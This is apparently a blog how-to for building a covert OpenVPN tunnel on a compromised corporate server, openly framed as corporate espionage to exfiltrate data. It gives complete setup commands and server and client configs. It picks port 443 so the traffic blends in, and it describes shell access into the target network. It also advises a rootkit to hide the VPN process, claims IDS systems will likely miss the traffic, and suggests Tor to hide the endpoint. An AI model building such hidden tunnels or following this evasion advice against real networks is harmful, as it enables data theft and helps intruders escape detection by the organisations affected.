How to build a covert network with OpenVPN

There are many uses for a covert network, for this hypothetical scenario we are corporate spies and we need to exfiltrate data from our assets inside the target corporations network. I don’t think the concepts here are new, but I haven’t seen any decent how to’s for a setup like this.

I’m going to skip some steps that aren’t relevant to the configuration and use of OpenVPN, the reader needs to accept that my corporate target has a compromised host on their network. This includes how the VPN is hidden from the target, how root access is obtained, etc. Those details are left to the reader. I will discuss possible solutions, but not how to implement them. This configuration could just as easily be used to share pictures between family members.

Because I’m very good at corporate espionage, I pick a high value host as my target. The target host could be a mail server, database host, web server, file server, financial or accounting server, etc. The goal is to exfiltrate data from this server without raising suspicion. This example uses port 443 as the VPN port, but you could easily use port 25 or another common port used by the target server. Data leaving a mail server with a destination port of 25 would not look suspicious, where port 1194, the default OpenVPN port would be more obvious.

The distribution used is Ubuntu 10.04.

Installation
Install OpenVPN on the server and client:

sudo apt-get install openvpn

Server configuration
Create the OpenVPN server certs.

sudo mkdir /etc/openvpn/easy-rsa/

Copy the easy-rsa directory to /etc/openvpn. This will prevent upgrades from modifying the changes.

sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/ /etc/openvpn/easy-rsa/

Edit /etc/openvpn/easy-rsa/vars and modify for your purpose:

 export KEY_COUNTRY="US"
 export KEY_PROVINCE="DC"
 export KEY_CITY="'Washington'"
 export KEY_ORG="''Super Spy Inc.''"
 export KEY_EMAIL="''spy at spy99.com''"

Run the scripts to create the server certificates:

 cd /etc/openvpn/easy-rsa/easy-rsa
 source vars
 ./clean-all
 ./build-dh
 ./pkitool --initca
 ./pkitool --server server
 cd keys
 openvpn --genkey --secret ta.key
 sudo cp server.crt server.key ca.crt dh1024.pem ta.key /etc/openvpn/

Now we need a config file, for the server we create a file called server.conf.

sudo vi /etc/openvpn/server.conf

Make sure you have enough IPs available for all the clients you plan to have, in this Point to Point scenario, you need at least two IPs per client. Each side of the PTP link will get an IP. The server will take the first IP available. If we use 172.16.1.1/24, the server will take 172.16.1.1. This IP will be accessible from all clients, even if the IP won’t be listed on tun0. The server example uses “172.16.10.0 255.255.255.0” that may be overkill for your scenario.

  • server.conf
  •  port 443
     proto tcp-server
     dev tun
     ca ca.crt
     cert server.crt
     key server.key
     dh dh1024.pem
     server 172.16.10.0 255.255.255.0
     ifconfig-pool-persist ipp.txt
     push "dhcp-option DNS 172.16.10.1"
     ;push "dhcp-option DNS 208.67.222.222"
     ;push "dhcp-option DNS 208.67.220.220"
     ;client-to-client 
     keepalive 10 120
     tls-auth ta.key 0
     comp-lzo
     persist-key
     persist-tun
     status openvpn-status.log
     ;log         openvpn.log
     ;log-append  openvpn.log
     verb 3
     ;mute 20 
     

    Client configuration
    The OpenVPN configuration is the mostly the same for client or server with some minor changes between them.

    On the server we need to create the client’s certificates.
    Create the cert:

     cd /etc/openvpn/easy-rsa/
     source vars
     ./pkitool client
    

    You can replace client with the name of your client for easy tracking.

    Copy the certificate files that have been created on the server to the client’s /etc/openvpn directory.

     ca.crt
     client.crt
     client.key
     ta.key
    

    For the client we create a file called client.conf. Modify the server address for your config.

    sudo vi /etc/openvpn/client.conf
  • client.conf
  •  client
     dev tun
     proto tcp-client
     remote yourserver.example.com 443
     resolv-retry infinite
     nobind
     persist-key
     persist-tun
     persist-local-ip
     persist-remote-ip
     ca ca.crt
     cert client.crt
     key client.key
     tls-auth ta.key 1
     comp-lzo
     verb 0 
     ;mute 20  
     ;ping 30 
     ;ping-restart 120
    

    Option explanation

    TCP port 443 is used because it doesn’t attract as much attention as the default OpenVPN UDP port 1194. TCP is usually not recommend and can cause problems, read more here: http://sites.inka.de/sites/bigred/devel/tcp-tcp.html The other reason to use 443 as opposed to port 80, is that any proxy in between the client and server can make connecting the tunnel difficult, if not impossible.

    The VPN type is tun, we aren’t doing any bridging, just a simple Point to Point tunnel between client and server.

    Keepalive on the server keeps the tunnel alive and will restart it if a ping isn’t received in the set time. Setting keepalive on the server forces the defaults for ping and ping-restart on the client, you can modify the defaults manually on the client. If you don’t want the tunnel open all the time, you can remove this option. Keep in mind the tunnel will have to negotiate every time it’s used if it closes.

    Up and Running

    Start the vpn on both the client and server

    sudo /etc/init.d/openvpn start

    It will take a few seconds for the tunnel to negotiate. When the tunnel is up, you will see tun0 in the ifconfig output.

  • ifconfig
  •  tun0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
              inet addr:172.16.10.14  P-t-P:172.16.10.13  Mask:255.255.255.255
              UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
              RX packets:4145 errors:0 dropped:0 overruns:0 frame:0
              TX packets:3379 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:100 
              RX bytes:4075951 (4.0 MB)  TX bytes:334285 (334.2 KB)
    

    Our end of the PtP link is .14 and the other end is .13. Neither of these IPs will be visible on the server with netstat or ifconfig. You will find the P-t-P IP in /etc/openvpn/openvpn-status.log along with the public IP the client is using.

    The routing table on the client after our tunnel is up and working should look like this:

  • netstat -rn
  •  Kernel IP routing table
     Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
     172.16.10.13   0.0.0.0         255.255.255.255 UH        0 0          0 tun0
     172.16.10.1    172.16.10.13   255.255.255.255 UGH       0 0          0 tun0
     192.168.1.0   0.0.0.0         255.255.255.0   U         0 0          0 eth0
     0.0.0.0         192.168.1.1   0.0.0.0         UG        0 0          0 eth0
    

    Troubleshooting

    Check /var/log/syslog and /var/log/daemon.log for clues as to why the tunnel isn’t up.

    Other notes

    Once my network is up and running, I can pass any traffic over the tunnel without restriction. I could ftp files, copy to a samba share, scp or even rsync data to my destination host. Since my tunnel works both ways, I can initiate connections from my endpoint outside the corporate network and have shell access to the host, which in turn has access to the corporate network. If I’m a competent spy, I can install a rootkit and hide my OpenVPN process as well as any terminals I’m running. For anyone looking for evidence of compromise they will only see traffic on port 443. This may trigger an IDS, but more than likely it won’t. Traffic on port 443 is normally encrypted and can’t be viewed by an IDS, so my encrypted VPN packets won’t raise any alerts. If the corporate network is forcing the use of a proxy, my VPN traffic will traverse it without issues. If the proxy requires a password, OpenVPN has support for that too.

    If I was interested in hiding my endpoint, I could use the Tor network to proxy my traffic. Tor could easily be added to the configuration without a lot of OpenVPN changes. OpenVPN has support for proxies and with Privoxy and Tor running on my compromised host, I could completely hide where the VPN traffic was terminating. Tor will change your next hop on a regular interval, so your compromised host won’t even be sending large amounts of data to a single host. There are many ways to further disguise your vpn, Tor is just one.

    Summary

    We successfully configured a VPN that can traverse proxies and is fairly well hidden from detection. We have full access to the target host and have a configuration that allows for multiple clients and allows for unlimited possibilities. While our scenario was for corporate espionage, this VPN can be used for a private network amongst friends and families or just a secure network between your home and your webhost.

    This entry was posted in HowTo and tagged , , , , , , . Bookmark the permalink.